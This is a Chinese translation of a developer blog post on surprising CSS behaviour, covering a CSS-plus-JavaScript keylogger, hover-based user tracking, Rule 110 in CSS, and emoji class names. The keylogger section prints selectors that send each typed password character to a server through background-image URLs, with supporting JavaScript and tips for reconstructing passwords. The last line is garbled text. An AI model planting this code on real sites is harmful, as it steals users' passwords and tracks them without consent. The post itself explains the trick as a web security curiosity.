CSS 可以做到这一点...而且很可怕!
封面图片由@maxwell_dev提供。
受到今天的#DevDiscuss的启发,我评论了我最喜欢的 CSS 错误行为。
那么让我们看看它们是如何工作的。
CSS 键盘记录器
使用 CSS 创建键盘记录器已经存在一段时间了,但正如这篇文章指出的那样,它并非“仅仅基于 CSS”,而是依赖于一些 JavaScript。那么,让我们来剖析一下它的工作原理。
我们的选择器如下:
input[type="password"][value$="a"] {
background-image: url("http://localhost:3000/a");
}
假设您想要记录的每个字符都会重复此操作。
选择器的重要部分是上的子字符串匹配value
,即:[value$="a"]
。这是一个属性选择器,具体来说是作为CSS 3的一部分添加的子字符串选择器,它的作用是当value
DOM 元素的属性以 结尾时它将匹配(如果需要,a
您可以使用以 开头)。^
因此,当属性包含该属性时我们会进行匹配,value
但如果您查看页面上表单的 DOM,您会注意到,该value
属性未设置。
如果你在浏览器中打开表单的开发工具,你会注意到,当你在输入框中输入时,属性不会改变,它始终被设置为Test here
。但是,如果你使用 JavaScript 检查值,document.getElementById('demo-01').value
它就会显示你输入的内容。这是因为该属性代表的是 的默认值<input>
,而不是当前值,后者可能会根据你输入的类型进行计算。
用 CSS 创建键盘记录器对我们意味着什么?其实很简单,你不能只用 CSS 来创建一个,但你可以用 CSS 和一些 JavaScript 来创建一个,因为我们需要value
在这个过程中更新属性。
这很容易做到,你只需要一些像这样的 JavaScript:
let inputs = document.getElementsByTagName("input");
for (let i = 0; i < inputs.length; i++) {
let input = inputs[i];
input.addEventListener("keypress", e => {
e.preventDefault();
let char = String.fromCharCode(e.keyCode);
let newValue = input.value + char;
input.setAttribute("value", newValue);
input.setSelectionRange(newValue.length, newValue.length);
});
}
它的作用是“假装”你输入得当,通过提前捕获输入,然后将你打算keypress
输入的字符推送到属性上,使输入看起来像是正常进行的。然后,我们使用输入框中的方法将插入符号定位到输入框的末尾,这样你就不会被察觉了。你可以在这里找到这个示例的实际演示。value
setSelectionRange
但是,如果你能够运行 JavaScript 来绕过 DOM 的工作机制,那为什么还要费心使用 CSS 呢?问题不在于你编写的代码,而在于你可能利用的代码,尤其是 UI 框架。
例如,value
如果您使用受控表单,React 会将属性与状态同步,而这正是本次问题所追踪的。因此,如果您访问的网站使用了 React,那么该网站就容易受到此类攻击,无论是通过浏览器中的扩展程序,还是网站上运行的某些可疑广告。
是的,您需要 JavaScript 来正确实现“CSS 键盘记录器”,但这并不意味着您必须编写 JavaScript。
我只想快速谈谈作者在这篇文章中提出的一些观点。他们表示这没什么大不了的,因为background-image
仅在第一次匹配时执行,因此不会检测到重复的字符(例如, 的密码password
会漏掉s
),这是事实(value
没有改变 的最后一个字符,pass
因此没有触发选择器)但数据捕获将包括时间戳,如果您在事件的时间戳之间采取一定程度的差异,您可以推断出自己的差距(如果两次捕获之间花费了 0.1 毫秒,然后出现了 0.5 毫秒,那么也许有些字符是重复的)。对于接收顺序无法保证的观察也是如此。没错,服务器可能会无序接收它们,但是当您拥有密码的全部(或 90% 以上)字符时,暴力破解的能力就会急剧下降。
使用 CSS 进行用户跟踪
这并不像键盘记录器那么可怕,但它确实借用了与键盘记录器相同的基本原理。
为此,我们将利用CSS 伪类,它允许我们挂钩到 DOM 元素的许多事件。
以下是我应用于这些元素的 CSS:
#demo-02 p:hover {
background-color: #f0a;
}
#demo-02 input:focus {
background-color: #bada55;
}
#demo-02 button:active {
color: #ff0000;
}
我只是使用像这样的伪类:hover
,:focus
并:active
知道何时您做了某事,然后改变一些颜色,但我可以再次将设置background-image
为跟踪 URL。
这怎么才能派上用场呢?好吧,想象一下实现 Google Analytics(谷歌分析)的场景,你可以给元素附加一个状态,:hover
这样body
你就能知道页面何时呈现给用户,然后在所有子元素上添加更多悬停状态;当用户在页面上移动时,你就能捕捉到他们光标的大致位置,并了解他们在哪些地方花费了时间。如果有一个表单,你可以计算出他们在每个字段上花费了多长时间,他们如何在多步骤表单中前后导航,或者他们是否更改了单选按钮/复选框的答案。
与键盘记录器一样,它并不像看起来那么简单,您必须对 DOM 的结构有一个很好的了解才能创建一个真正精细的跟踪器(或使用 JavaScript),但如果您使用它来进行自己的分析,这是非常可行的。
CSS 是图灵完备的
好吧,如果你想要吹毛求疵的话,那就是 CSS + HTML,但这是真的,仅使用 CSS 和 HTML就可以实现规则 110 :
感谢GitHub 上的eliheeli提供其工作示例。
它的工作原理是利用伪类(比如我们的追踪器),并将它们与相邻兄弟组合器组合起来。相邻兄弟组合器(简称相邻兄弟组合器+
)的工作原理如下:
#demo-03 p {
color: #00bb00;
}
#demo-03 p + p {
font-family: "Comic Sans MS", sans serif;
font-style: italic;
}
这里我们将一个规则应用于所有p
元素,但随后我们使用相邻的兄弟选择器将规则p
仅应用于第二个元素(在本例中,启用了不同的字体系列和样式)。通过在选择器的前半部分应用条件(例如伪类),可以极大地限制规则的级联。
表情符号类名
谁不喜欢在工作中随意使用 Emoji 表情呢?你知道吗?Emoji 表情可以用作 CSS 的类名。根据规范,它们在技术上是有效的,这意味着你可以这样做:
#demo-04 .🤣 {
font-family: "Comic Sans MS";
text-decoration: #f0a underline overline wavy;
text-shadow: 2px 2px #bada55;
transform: rotate(45deg);
display: inline-block;
}
实际上你可能不应该这样做,但是嘿,你可以减少网络上的几个字节,以便一些用户无法访问你的网站(或开发你的代码库)!
结论
最初只是一条随意发的推文,却成为了我写这篇文章的催化剂,我已经想写这篇文章好几年了!🤣
我希望您喜欢了解使用 CSS可以做的一些事情,但也许不应该。
您最喜欢使用哪种 CSS 方法?
鏂囩珷鏉ユ簮锛�https://dev.to/aaronpowell/css-can-do-this-and-it-s-terrifying-3lp8